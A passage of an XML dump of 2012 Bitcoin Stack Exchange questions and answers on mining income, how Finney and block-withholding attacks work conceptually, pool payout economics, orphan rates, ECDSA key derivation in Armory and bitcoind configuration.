  <row Id="4941" PostTypeId="2" ParentId="4940" CreationDate="2012-10-03T08:56:11.667" Score="5" Body="&lt;p&gt;The most popular way to earn a bit of Bitcoins without any much skill is &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining&quot; rel=&quot;noreferrer&quot;&gt;mining&lt;/a&gt;. The amount of coins one could earn is pretty small even with higher-end graphic cards, but through the use of mining pools and alt-coin mining one could get a small start in the Bitcoin world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A website that offers small Bitcoin rewards for mechanical-turk-esque small tasks is &lt;a href=&quot;http://coinworker.com/&quot; rel=&quot;noreferrer&quot;&gt;CoinWorker&lt;/a&gt;. The skill requirement is minimal and the service provides value to people paying for the task.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-03T08:56:11.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4942" PostTypeId="1" AcceptedAnswerId="4963" CreationDate="2012-10-03T09:03:21.703" Score="41" ViewCount="18466" Body="&lt;p&gt;What is a Finney attack? Extra points for explaining its purpose, the prerequisites for it to be possible, how the attack can be performed and the origin of the name &quot;Finney attack&quot;.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="5406" LastEditDate="2019-07-12T15:28:13.873" LastActivityDate="2019-07-12T15:28:13.873" Title="What is a Finney attack?" Tags="|transactions|security|doublespend|attack|finney-attack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4943" PostTypeId="1" AcceptedAnswerId="4952" CreationDate="2012-10-03T09:08:25.223" Score="17" ViewCount="8576" Body="&lt;p&gt;How can a block withholding attack be performed, what would be its purpose and who is it a danger to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: when I posted this I was thinking about withholding a block you mined in a pool. But withholding blocks can form the basis for many different attacks. I think this is still useful as a broad question. It is a central concept in bitcoin security.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="516" LastEditDate="2012-10-03T20:10:32.573" LastActivityDate="2018-05-24T17:01:25.490" Title="What is a block withholding attack?" Tags="|security|mining-pools|attack|block-withholding|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4944" PostTypeId="2" ParentId="4940" CreationDate="2012-10-03T09:09:20.340" Score="2" Body="&lt;p&gt;The Bitcoin community is relatively tiny yet.  While there are some tasks here and there where bitcoins can be earned (e.g., logo creation, tutor), there is a far larger number of individuals willing to compete for the work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offering to sell bitcoins to others is one way to earn a little.  There are many people who sell coins through LocalBitcoins and earn a few percent on each trade.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.LocalBitcoins.com&quot; rel=&quot;nofollow&quot;&gt;http://www.LocalBitcoins.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But other than that, if your aim is to acquire some coins the likely more productive avenue would be to find income elsewhere and use that cash to buy bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-03T09:09:20.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4945" PostTypeId="2" ParentId="4942" CreationDate="2012-10-03T09:14:02.593" Score="16" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Double-spending#Finney_attack&quot;&gt;Finney attack&lt;/a&gt; is a variation of a double-spend attack. The attacker creates two transactions - one crediting the victim and one crediting themselves. They keep the first transaction for now and proceed to try mining the second one into a block. When they succeed (this may take awhile), they quickly make a purchase with the first transaction, get the goods they purchased, and then release the pre-mined block. This way the first transaction will become invalidated, even if it is propagated through the whole network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This variant of double-spend attack is harder to execute (mining a block by oneself hasn't been easy for a long while), but is undetectable until it has been fully executed. The only way to protect oneself against such an attack is to require at least one confirmation for transaction before giving out purchased goods, and requiring more confirmations for transactions worth more.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-03T09:14:02.593" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="4946" PostTypeId="1" AcceptedAnswerId="4956" CreationDate="2012-10-03T09:31:00.077" Score="4" ViewCount="429" Body="&lt;p&gt;I'm wondering how each payout method (PPS, DGM, PPLNS, Proportional, etc) influences the cost of executing a block withholding attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it matter how the payout method places variance between pool and miners? With DGM this is a setting that can be adjusted by the pool operator. With other payout methods it is inherent to the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does a block finder's bonus influence the cost of an attack? By that I mean part of the block income being reserved for the miner who created it, before the rest is distributed according to the pool's chosen payout method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are other factors important?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which systems would be expensive to attack, and which would be cheapest?&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="516" LastEditDate="2012-10-03T20:10:13.120" LastActivityDate="2012-10-03T20:49:41.253" Title="How do mining pool payout methods affect the cost of executing a block withholding attack?" Tags="|security|mining-pools|attack|pool-payout-methods|block-withholding|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4947" PostTypeId="1" AcceptedAnswerId="4957" CreationDate="2012-10-03T10:10:16.827" Score="2" ViewCount="1690" Body="&lt;p&gt;In the &lt;a href=&quot;http://www.weusecoins.com/&quot; rel=&quot;nofollow&quot;&gt;now-sort-of-viral Bitcoin video&lt;/a&gt;, one notable mention of Bitcoin use was to buy alpaca socks. What is the store that sells or used to sell those iconic socks for Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2017-12-23T19:36:00.827" LastActivityDate="2017-12-23T19:36:00.827" Title="What is the store that sells the famous alpaca socks for Bitcoin?" Tags="|history|merchants|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4948" PostTypeId="2" ParentId="4831" CreationDate="2012-10-03T11:49:34.357" Score="-1" Body="&lt;p&gt;Mintchip is a payment system, and a wallet for multiple currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is a payment system, a currency, and a wallet for Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mintchip greatest advantage over Bitcoin will come when Mintchip support payment in gold, redeemable for gold stored at the mint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin greatest advantage over Mintchip is being a borderless floating currency with a infinitely-divisible finite supply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two nicely complement each other.&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2012-10-03T11:49:34.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4949" PostTypeId="1" CreationDate="2012-10-03T12:07:35.537" Score="2" ViewCount="1787" Body="&lt;p&gt;I run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo netstat --ip -lpa | grep bitcoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After starting the bitcoin daemon and all I get is the 8333 port and the connections with other peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I do the same but with &lt;code&gt;| grep namecoin&lt;/code&gt;, I get the rpc port and everything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not being able to make &lt;code&gt;poolserverj&lt;/code&gt; to work because of that.&#xA;Since it's not listening, &lt;code&gt;poolserverj&lt;/code&gt; gives me a 404 response on the rpc port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My bitcoin.conf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;rpcuser=xxx&#xA;rpcpassword=xxx&#xA;rpcport=8332&#xA;rpcallowip=*&#xA;gen=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="132" LastEditDate="2012-10-03T12:19:10.103" LastActivityDate="2012-10-03T12:19:10.103" Title="Why isn't bitcoind listening on its rpc port?" Tags="|bitcoind|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4950" PostTypeId="2" ParentId="4943" CreationDate="2012-10-03T15:31:35.370" Score="17" Body="&lt;p&gt;The simplest form of it called Finney attack, named for Hal Finney who first &lt;a href=&quot;https://bitcointalk.org/index.php?topic=3441.msg48384#msg48384&quot; rel=&quot;noreferrer&quot;&gt;described&lt;/a&gt; it. The attack is variation of a double-spend attack involving accepting 0-confirmation transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An attacker would generate a valid block but will not broadcast it, and then broadcast transaction A as a payment for a good or service. A merchant will see transaction A with nothing conflicting with it and accept the 0-confirmation transaction. Right after that the attacker would broadcast the generated block with transaction B which will conflict with transaction A, the Bitcoin network will accept his block and invalidate transaction A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The attack is quite costly because there is a time gap between generation of the block by the attacker and completing transaction A, during which someone else on the network could generate a valid block and broadcast it, thus invalidating the valid block generated by attacker. Therefore it is practical only if the merchant sells the product online and it could be release immediately, e.g. a key for a software product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A general form of this attack was described by Satoshi Nakamoto: &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;noreferrer&quot;&gt;White Paper, section 11&lt;/a&gt;. In theory, an attacker could pre-generate any number of blocks, e.g. if a merchant requires 1 confirmation before releasing a product an attacker would pre-generate 2 blocks ahead of the network and only then broadcast transaction A to double spend. But with each block the cost increases exponentially, and the practice of accepting 6 confirmations before releasing the purchase makes this attack possible only in case where the attacker has close to 50% of network hash rate or more.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="83551" LastEditDate="2018-05-24T17:01:25.490" LastActivityDate="2018-05-24T17:01:25.490" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="4951" PostTypeId="2" ParentId="4796" CreationDate="2012-10-03T15:57:56.930" Score="5" Body="&lt;p&gt;The four basic laws of supply and demand are:&#xA;If demand increases and supply remains unchanged, then it leads to higher equilibrium price and higher quantity&#xA;If demand decreases and supply remains unchanged, then it leads to lower equilibrium price and lower quantity.&#xA;If demand remains unchanged and supply increases, then it leads to lower equilibrium price and higher quantity.&#xA;If demand remains unchanged and supply decreases, then it leads to higher equilibrium price and lower quantity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the big questions to answer are &quot;What will happen with demand&quot; and &quot;What will happen with supply&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first glance it looks like that due to the decrease of the block level award the supply of BTC will be halved.  At the same time there are no signals that demand will change. You could argue that demand goes up, as more and more entrants get into the market to try out the Bitcoin ecosystem. Some will conclude that prices will go up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However supply is not only determined by the amount of newly created BTC's. We still have a stock of 10 million BTC's. It is fair to say that 80% of these BTC's are hoarded. There is unfortunately still no real economy based on BTC's. They are not commonly used to pay salaries and pay bills of suppliers. All the  ASIC suppliers quote and invoice their Asics in US$ (and yes, you could buy them in BTC as well). As long as even the larger players do pay their suppliers, investors, tax bills and employees in fiat currencies it is fair to assume that we have a overhang stock of at least 8 million BTC. Of course people will argue that MTGOX is trading 50.000 BTC/day. Yes, true, but this is nothing else of transferring BTC from one hoarding wallet to another one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once pricing goes up, more and more of these speculative BTC will come on the market, driving prices immediately down. My simple conclusion is that demand is going slightly up, supply remains the same, pricing of Bitcoin will raise slowly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what will happen after all these ASICs comes on board of the Bitcoin network. Well, something interesting will happen. Total demand will again slightly improve. Supply will remain the same at 3600BTC/day plus supply from &quot;stock&quot;. So nothing structural will change. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will be at least 15.000 ASICs on the market, assuming three manufacturers will eventually get there, each of them at least supplying 5000 ASICs. With 3600 BTC/day available, this will give each of the ASIC 0.24 BTC per day, at today's BTC pricing something like $3/day/ASIC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment these ASICs comes at the doorstep of a miner they have a limited time to cash. The resale value will be zero, as these ASICs do not have an alternative use (may be a heating device for a cup of t). This means you have to fully write them off at once. To get any ROI these miners can do two things: Speculate (and hoard) or sell their Bitcoins asap. Hoarding doesn't guarantee a ROI, so they will have to start selling their Bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The minimum price they want to see for their BTC's is at least the price which covers their variable costs (Their electricity bill). Everything above this price will support their write-off and the time they are devoting to the project. With the power consumption of 50W per ASIC you will get a electricity bill of 1.2 KWh per day. This will be the minimum price per ASIC. By 15.000 ASIC's, each ASIC in average gets 0.24BTC, so 1 BTC will have a variable costs of 5KwH/day. Say 1 KwH costs you 0.2$, it is fair to say that the variable costs will be $1/BTC. This will be the case until new technology with a higher efficiency will get into the market. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now with 15.000 ASICS in the market, an unlimited amount of more ASICs able to enter the market, electricity bills to be paid and a &quot;hangover&quot; stock of more than 10 million BTC's miners are forced to sell. This will drive prices down to $1/BTC, as soon as ASICs will be connected to the Bitcoin network.  &lt;/p&gt;&#xA;" OwnerUserId="1989" LastActivityDate="2012-10-03T15:57:56.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4952" PostTypeId="2" ParentId="4943" CreationDate="2012-10-03T18:18:45.070" Score="6" Body="&lt;p&gt;There are two types of block withholding attacks.  One, known as the Finney Attack, aims for financial gain when a double spend occurs.  The second is to cause financial harm to a pool operator.  A miner that solves a block can withhold a valid hash after finding one.  The cost to the miner is trivial (from not being awarded the share) but the cost to the pool is large as the pool loses a chance to earn the 50 BTC block award subsidy.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-03T18:18:45.070" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4953" PostTypeId="1" AcceptedAnswerId="4958" CreationDate="2012-10-03T19:05:07.653" Score="5" ViewCount="1041" Body="&lt;p&gt;Difficulty always lags behind a little. It is also limited in how large adjustments it makes each time. What if the (global) hashrate doubles overnight? What if it quadruples?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How much can we expect the orphan rate to go up? By orphans I mean blocks on a block chain fork other than the main chain (longest chain).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How large would the losses then be for PPS pools and other pools that pay for orphaned work, before the difficulty catches up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about a solo miner? What about P2pool? In both cases many of the miners may not be well connected to other block generating nodes on the bitcoin peer-to-peer network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps there is useful information available from alt coins that have gone through something similar or just have a higher rate of block generation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is of course motivated by the imminent shipment of ASIC-based mining equipment with hashpower that will dwarf anything seen so far. If you do an estimate, feel free to use any numbers you feel are realistic. I have no idea what amount of ASICs are currently going into production. The question could also apply to next generation ASICs, quantum computing or weaknesses that may be found in the SHA-256 hashing algorithm.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="5406" LastEditDate="2023-10-20T17:22:51.643" LastActivityDate="2023-10-20T17:22:51.643" Title="How will a massive increase in hashpower affect orphan rates?" Tags="|blockchain|mining-theory|network|hashpower|stale-block|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4954" PostTypeId="2" ParentId="4953" CreationDate="2012-10-03T20:02:13.770" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What if the (global) hashrate doubles overnight? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then blocks take five minutes instead of ten.  And continues to do so over the next days until the difficulty adjusts, and then it is right back to one block every ten minutes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What if it quadruples?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then blocks take two and a half minutes instead of ten.  And continues to do so over the next few days until the difficulty adjusts, and then it is right back to one block every ten minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I see where you are going with this.  Let's say it goes up an order of magnitude (10X). Well, blocks will fly by about once a minute and in less than 48 hours difficulty will readjust but it the algorithm tops out at a maximum 4X increase per adjustment period.  So the resulting blocks after the adjustment will be solved at about once every four minutes -- until less than a week later when the next adjustment period takes it back to once every ten minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e., This isn't a problem that the Bitcoin network can't handle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will of course be a few more orphans, but they won't generally be extended very far.  Orphans already happen regularly with a decentralized architecture like Bitcoin.  And other than the miner or pool who was prematurely celebrating, orphaned blocks don't pose a problem.  Merchants accepting on 0/unconfirmed or even less than two confirmations might want to be more vigilant when ASICs first start hitting, but there aren't very many merchants who do accept on unconfirmed transactions today.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-03T20:02:13.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4955" PostTypeId="1" AcceptedAnswerId="4959" CreationDate="2012-10-03T20:28:14.240" Score="11" ViewCount="645" Body="&lt;p&gt;According to the Armory site the Public Keys needed for the Bitcoin addresses can be generated without having access to the Private Keys, which ideally are stored on a completely different computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What mathematical property allows public keys to be generated without having the matching private keys? I take it they are seeded by the chain code somehow, so the chain code is the stored in the watch only copy of the wallet, while the chain code + root key make up the private wallet, right?&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2012-10-04T07:18:38.737" Title="What mathematical property links the Armory chain to the public/private keys?" Tags="|cryptography|armory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4956" PostTypeId="2" ParentId="4946" CreationDate="2012-10-03T20:41:37.820" Score="4" Body="&lt;p&gt;Generally, the higher the variance for the miners of a reward method, the higher the cost of sabotage attacks (and I think also the potential profit of lie-in-wait).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In PPS there is no variance; and the cost for sabotage is negligible, it is merely the reward of 1 share.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a typical method with no risk absorption and moderate variance, withholding a block means you lose your portion of its reward, which is h/H, your portion of the pool hashrate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you take an extremely high-variance reward method such as &quot;pay per last 10 shares&quot;, withholding blocks means losing 10% of the reward, since if you submit a block then by definition you have a share in the last 10 shares, no matter your hashrate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course, when solo mining, block withholding means losing all of your mining reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A block finder bonus is added multiplicatively to the other costs. For example in PPL10S with 20% finder bonus, when withholding you lose both the 20% bonus and 10% of the distributed 80%, for a total cost of 28%. However, finder bonus is a poor way to combat block withholding because it creates a lot of variance.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-10-03T20:49:41.253" LastActivityDate="2012-10-03T20:49:41.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4957" PostTypeId="2" ParentId="4947" CreationDate="2012-10-03T21:09:08.423" Score="3" Body="&lt;p&gt;That would be Grass Hill Alpacas at &lt;a href=&quot;http://www.grasshillalpacas.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.grasshillalpacas.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;From their website:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Grass Hill Alpacas is located on 115 acres that has been in the family for over 125 years. The farm is located at the foot of Grass Hill in the Haydenville section of the town of Williamsburg, just 10 minutes from the center of Northampton. The last time the land was actively farmed was in the 70's, when the last of Stanley &amp;quot;Stubby&amp;quot; Nash’s oxen were sold. Currently our operations are based on 5 acres of old pasture land that we have reclaimed and fenced in. With more than 40 acres of fields, we have plenty of room for expansion as needed.&lt;/p&gt;&#xA;&lt;p&gt;We brought our first 6 alpacas onto the farm in the summer of 2006. It has been an exciting, rewarding time for our family and our farm. We have learned alot, had some great experiences and built wonderful new friendships that will last a lifetime. But the best part of it all is that we did it together as a family...side-by-side... working the same land that great-great-grampie worked.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Also, don't forget this song about the famous alpaca socks:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=pYqqS7aTBVQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;Max Min - Alpaca Socks (Official Music Video)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2012-10-22T22:13:08.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4958" PostTypeId="2" ParentId="4953" CreationDate="2012-10-03T21:47:15.723" Score="7" Body="&lt;p&gt;If the average time to find a block is T, and the typical time for a found block to propagate in the network is t, then the proportion of orphans among all blocks will be roughly 1/(1+T/t). As long as T&gt;t there's not much risk for the network; however it could be a challenge for orphan-paying pools, for example If T=9t then 10% of the block rewards will need to be paid out of pocket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a PPS pool pays B/D per share, it is in fact using an artificially low difficulty - the difficulty metric measures how hard it is to find a block (orphan or not), when in fact what is relevant for calculating the due reward is how difficult it is to find a valid block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the network hashrate increases by a factor of X, then until difficulty catches up the average time for finding a block is (10 min)/X. I doubt the transition to ASIC will cause a discrepancy by a factor of over 10; this would give T = 1 min. With a conservative value of t=5 sec you will get about 7.7% loss for paying orphans. The actual numbers for both X and t will likely be much less (especially since concentrated hashrate lowers t), so I don't think the loss during the transition period will be prohibitive.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-10-03T21:47:15.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4959" PostTypeId="2" ParentId="4955" CreationDate="2012-10-03T22:07:16.417" Score="11" Body="&lt;p&gt;ECDSA can be thought of as a special form of mathematics where division is, for all practical purposes, impossible. Public keys are formed from private keys by multiplication -- the public key is multiplied by the generator &lt;code&gt;G&lt;/code&gt;. Because of the properties of multiplication, new public keys can be generated by an entity that doesn't know the corresponding private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, a master public/private keypair is generated (&lt;code&gt;master&lt;/code&gt;, &lt;code&gt;G(master)&lt;/code&gt;). The master private key, &lt;code&gt;master&lt;/code&gt;, is stored securely. The master public key, &lt;code&gt;G(master)&lt;/code&gt;) is used to generate new public keys as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;A new public/private key pair is generated. &lt;code&gt;X&lt;/code&gt;, &lt;code&gt;G(X)&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The public key is added to the master public key. &lt;code&gt;G(X) + G(master)&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This new public key can now be used.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To generate the corresponding private key, the private key generated in step 1 is added to the master private key to form &lt;code&gt;X + master&lt;/code&gt;. This works as the private key because&lt;br&gt;&lt;code&gt;G(X + Master) = G(X) + G(master)&lt;/code&gt; (distributive property of multiplication). Thus the public key corresponding to the sum of the two private keys is the same as the sum of the two public keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can pretty easily show that producing &lt;code&gt;X + master&lt;/code&gt; without knowing &lt;code&gt;master&lt;/code&gt; or forging a signature of &lt;code&gt;G(X + master)&lt;/code&gt; with only &lt;code&gt;X&lt;/code&gt; and &lt;code&gt;G(master)&lt;/code&gt; is as difficult as breaking ECDSA itself. So this scheme is as secure as any other method of using ECDSA.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2012-10-04T07:18:38.737" LastActivityDate="2012-10-04T07:18:38.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4960" PostTypeId="1" CreationDate="2012-10-04T03:23:47.513" Score="5" ViewCount="1502" Body="&lt;p&gt;I ask because upon initial install, this program (newest version) is PAINFULLY slow, and slowing down my system extremely, toward the end of the 6k block mark. I'm wondering if you force quit the application before it is completed, it will start all over again, or do something else.&lt;/p&gt;&#xA;" OwnerUserId="1992" LastEditorUserId="516" LastEditDate="2012-10-04T04:01:32.383" LastActivityDate="2012-10-04T11:09:04.710" Title="What happens if I force quit a bitcoin wallet application before it finishes synchronizing?" Tags="|client|synchronization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4961" PostTypeId="2" ParentId="4960" CreationDate="2012-10-04T04:01:12.603" Score="1" Body="&lt;p&gt;The QT client at least should gracefully resume from where it left off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done this many times with no issue (running a reasonably recent copy of the client in Windows 7).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure whether the MultiBit or Armory clients work the same way though; can anyone vouch for them?&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-10-04T04:01:12.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4962" PostTypeId="2" ParentId="4960" CreationDate="2012-10-04T11:09:04.710" Score="0" Body="&lt;p&gt;The client will continue downloading blocks from the last successfully downloaded block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as database integrity when this happens -- BDB has crash recovery that generally works without any user intervention but doesn't accommodate a number of scenarios, so maintaining backups are highly recommended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's more about BDB's recovery method:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://help.bdbxml.net/html/ed539869-eebd-478f-97de-7e5377e87f66.htm&quot; rel=&quot;nofollow&quot;&gt;http://help.bdbxml.net/html/ed539869-eebd-478f-97de-7e5377e87f66.htm&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-04T11:09:04.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4963" PostTypeId="2" ParentId="4942" CreationDate="2012-10-04T11:11:47.030" Score="49" Body="&lt;p&gt;The Finney attack is named after &lt;a href=&quot;http://en.wikipedia.org/wiki/Hal_Finney_%28cypherpunk%29&quot; rel=&quot;noreferrer&quot;&gt;Hal Finney&lt;/a&gt;, who suggested it in &lt;a href=&quot;https://bitcointalk.org/index.php?topic=3441.msg48384#msg48384&quot; rel=&quot;noreferrer&quot;&gt;this comment&lt;/a&gt;. (Hal happens to be the first recipient of a Bitcoin transaction, and the first person to comment on the release of the Bitcoin source code.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a &lt;a href=&quot;https://en.bitcoin.it/wiki/Double-spending#Finney_attack&quot; rel=&quot;noreferrer&quot;&gt;double spending&lt;/a&gt; attack with the following features:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;It only works if the merchant accepts unconfirmed transactions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It still works, however, if the merchant waits a few seconds to&#xA;verify that everyone in the network agrees he was paid.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It requires the attacker to be mining and controlling the content of&#xA;his blocks; however, he can in theory do this with any hashrate, in particular significantly less than 50% of the network hashrate.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It proceeds as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The attacker mines blocks normally; in the block he is trying to find, he includes a transaction which sends some of his coins back to himself, without broadcasting this transaction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When he finds a block, he does not broadcast it; instead, he sends the same coins to a merchant for some goods or service.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After the merchants accepts the payment and irreversibly provides the service, the attacker broadcasts his block; the transaction that sends the coins to himself, included in this block, will override the unconfirmed payment to the merchant.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If the time from finding the block until the attacker sends payment and the merchant accepts it is t, and the average time to find a block is T, there is a probability of t/T that another block will be found on the network in this time; in this case the attack will fail, &lt;em&gt;and&lt;/em&gt; the attacker will lose the block reward of B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that the average cost of attempting the attack is about (t/T) * B; as a rule of thumb the merchant should wait at least t=V*T/B (V is the value of the transaction), to make sure that trying to carry out this attack against him isn't profitable; this may not be sufficient though, as a nimble attacker can use the same block for multiple attacks, potentially gaining the total of their value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly, the lower the attacker's hashrate, the less opportunities he has to carry out the attack. If the attack is for obtaining some illiquid good, it is difficult to make the need for this good coincide with finding a block. If the attack is for obtaining something liquid (e.g. exchanging bitcoins for other money), an opportunity is ever-present but the merchant is likely to require a few confirmations. This makes the attack difficult to use in practice.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2017-10-30T13:02:10.197" 